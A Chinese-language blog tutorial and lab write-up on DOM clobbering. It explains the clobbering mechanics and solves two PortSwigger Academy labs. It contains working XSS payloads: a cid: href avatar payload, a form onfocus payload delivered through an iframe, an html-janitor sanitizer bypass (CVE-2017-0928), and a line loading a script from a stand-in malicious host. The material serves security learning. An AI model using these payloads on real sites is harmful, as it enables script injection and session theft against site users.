Featured image of post DOM Clobbering

DOM Clobbering

DOM Clobbering

我刚开始以为是DOM型XSS,结果发现完全不一样

靶场:DOM clobbering | Web Security Academy

参考文章:使用 Dom Clobbering 扩展 XSS-先知社区

定义

DOM Clobbering就是通过在页面中插入HTML代码,改变javascript中全局变量或者对象属性的含义,从而永久改变javascript执行结果的一种技术。其中的“clobbering”就是指我们破坏了原本的全局变量或对象属性。

不想看前置知识可以直接跳到靶场

举个例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<img id = x>
<img name = y>
<script>
    console.log(x);
    console.log(y);
    console.log(document.x);
    console.log(document.y);
    console.log(window.x);
    console.log(window.y);
</script>

我们定义id和name属性

然后通过这种办法,来覆盖原有的值

image-20250809142538823

先创建一个div,然后把这个div插入到body中,再获取cookie时 不再获取js原先提供的cookie 而是把img获取到了。

document.cookie 已经被我们用img 标签给覆盖了

这里相当与我们把前面定义的name的值从y改成了cookie,document.y获取到<img name = "y">,那么document.cookie不就获取到了<img name = "cookie">

前置知识

既然我们可以通过这种方式去创建或者覆盖 document 或者 window 对象的某些值,但是看起来我们举的例子只是利用标签创建或者覆盖最终得到的也是标签,是一个HTMLElment对象。

image-20250809142737609

但是对于大多数情况来说,我们可能更需要将其转换为一个可控的字符串类型,以便我们进行操作。

toString

我们可以通过以下代码来进行 fuzz 得到可以通过toString方法将其转换成字符串类型的标签

1
2
3
4
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

然后返回了两个函数

image-20250809143850661

第一个标签其实就是area,跟br那些一样,是空元素,利用不了,第二个是a标签,可以用href来进行字符串转换

HTMLCollection

但是如果我们需要的是x.y 这种形式呢?两层结构我们应该怎么办呢?我们可以尝试上述的办法:

1
2
3
4
5
6
7
8
<body>
    <div id=x>
        <a id=y  href="hajimi"></a>
    </div>
</body>
<script>
    alert(x.y);
</script>

这里无论第一个标签怎么组合,得到的结果都只是undefined。但是我们可以通过另一种方法加入引入 name 属性就会有其他的效果。

HTMLCollection是一个element的“集合”类,值得注意的是我们可以通过collection[name]的形式来调用其中的元素,所以我们似乎可以通过先构建一个HTMLCollection,再通过collection[name]的形式来调用。

也就是说把上面代码改成

1
2
3
4
5
6
7
8
<body>
    <div id="x">
        <a id="x" name = y  href="hajimi"></a>
    </div>
</body>
<script>
    alert(x.y);
</script>

HTML Relationships

我们也可以通过利用 HTML 标签之间存在的关系来构建层级关系。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
  for(var j=0;j<html.length;j++) {
    div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
    document.body.appendChild(div);
    if(window.element1 && element1.element2){
       log.push(html[i]+','+html[j]);
    }
    document.body.removeChild(div);
  }
}
console.log(log.join('\n'));

以上代码测试了现在 HTML5 基本上所有的标签,使用两层的层级关系进行 fuzz ,注意这里只使用了id,并没有使用name,与上文的HTMLCollection并不是一种方法。

我们可以得到的是以下关系:

1
2
3
4
5
6
7
8
9
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea

如果我们想要构建x.y的形式,我们可以这么构建:

1
2
3
4
<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

三级关系x.y.z的写法

1
2
3
4
5
<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script> 
    alert(x.y.z.value);
</script>

自定义属性构造

以上我们都是通过 id 或者 name 来利用,那我们能不能通过自定义属性来构造呢?

1
2
3
4
<form id=x y=123></form>
<script>
alert(x.y)//undefined
</script>

很明显,这意味着任何未定义的属性都不会具有 DOM 属性,所以就返回了 undefined

我们可以尝试一下 fuzz 所有标签的有没有字符串类型的属性可供我们使用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
  for(prop in obj) {
  if(typeof obj[prop] === 'string') {
   try {
    DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
    if(document.getElementById('x')[prop] == 1) {
       props.push(html[i]+':'+prop);
    }
    }catch(e){}
  }
 }
}
console.log([...new Set(props)].join('\n'));

我们可以得到一系列的标签以及其属性名称,例如我们可以利用其中的a:title来进行组合

1
2
3
4
<a id=x title='hasaki'></a>
<script>
  console.log(x.title);//hasaki
</script>

其中在我们第一步得到的属性中比较有意思的是 a 标签的usernamepassword属性,虽然我们不能直接通过title这种形式利用,但是我们可以通过href的形式来进行利用:

1
2
3
4
5
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

bp靶场练习

bp官方说这个漏洞的利用点在于

如果有全局变量定义为

1
var someObject = window.someObject || {};

我们可以尝试以下代码覆盖

1
2
3
4
5
6
7
8
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>

甚至注入外部js脚本

1
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

Exploiting DOM clobbering to enable XSS

上来是一个博客界面,随便点一个进去可以看到评论界面,查看源码看到两个js

image-20250809155319123

第一个domPurify-2.0.15.js是用来防御xss的,而第二个js可能就是我们利用漏洞的地方了

在它的displayComments函数我们看到了熟悉的全局变量

1
2
3
4
5
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML

我们可以用 Dom Clobbering 来控制 window.defaultAvatar.只要我们原来没有头像就可以用一个构造一个defaultAvatar.avatar进行 XSS 了。

根据前面我们学的,这是一个二级关系,我们可以用htmlcollection

1
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

这里的"要转成html实体编码

改变完defaultAvatar的值之后,只要随便评论就能触发恶意代码导致xss

image-20250809161447107

可以看到我们已经插入了恶意代码,然后我们随意评论aaa,返回的时候直接触发了

image-20250809163114220

这里我很奇怪为什么这个href只能是cid开头,而别的不行,然后看了官方题解说是cid协议,它不使用url编码双引号,就能用html实体编码来注入,使得下一次的全局变量avatar为恶意代码

Clobbering DOM attributes to bypass HTML filters

这里就要用到上面二级关系的第二种办法,form标签与其他标签的层级关系

例如

1
<form onclick=alert(1)><input id=attributes>Click me

这里点进去依旧看源码

这题比上题安全多了,没有直接用windows这种来调用全局变量

1
2
3
4
5
6
7
8
9
for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Shift the array to continue looping.
          a = a - 1;
        }
      }

我们可以构造一个包含有name=attributes的子节点的 payload 绕过属性的 check ,这里给定的白名单标签也比较明显,我们可以通过 HTML Relationships 来构造我们的 payload

1
<form id=x ><input id=attributes>

接着就是构造 XSS 了,根据题目要求,需要用户访问触发,所以我们可以利用tabindex属性,配合formonfocus时间来 XSS 。

1
<form id=x tabindex=0 onfocus=alert(123)><input id=attributes>

image-20250809170141987

但是如果直接交给用户点击的话是不会触发的,因为评论是由 aJax 请求拿到的,直接访问的话,Dom 树是还没有评论的,得需要等待 JS 执行完成才会有评论,所以这里我们需要一个延时或者阻塞的操作。比较简单的是利用iframe进行setTimeout

1
<iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(a=>this.src=this.src+'#x',500)">

这里要注意一定要得等评论加载完毕再用#x选择form,所以这里的 500ms 需要根据自己的网络情况适当调整。

一些著名的利用漏洞

CVE-2017-0928 Bypassing sanitization using DOM clobbering

html-janitor 也就是我们上文用到的 HTML filters,在 v2.0.2 当中,janitor 在循环中有这么几行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
do {
  // Ignore nodes that have already been sanitized
  if (node._sanitized) {
    continue;
  }
  //...
  // Sanitize children
  this._sanitize(node);

  // Mark node as sanitized so it's ignored in future runs
  node._sanitized = true;
} while ((node = treeWalker.nextSibling()));

_sanitized作为标志位来标志是否已经进行标准化,但是这里,由我们上个例子可以得出,我们可以利用与上个例子类似的 payload 绕过第一个 if 就可以绕过标准化过滤了。

1
<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>

修复方案是删除了这些判断,对子树利用递归形式进行标准化过滤。

XSS in GMail’s AMP4Email via DOM Clobbering

这个就不细说了,感兴趣师傅可以去搜搜

使用 Hugo 构建
主题 StackJimmy 设计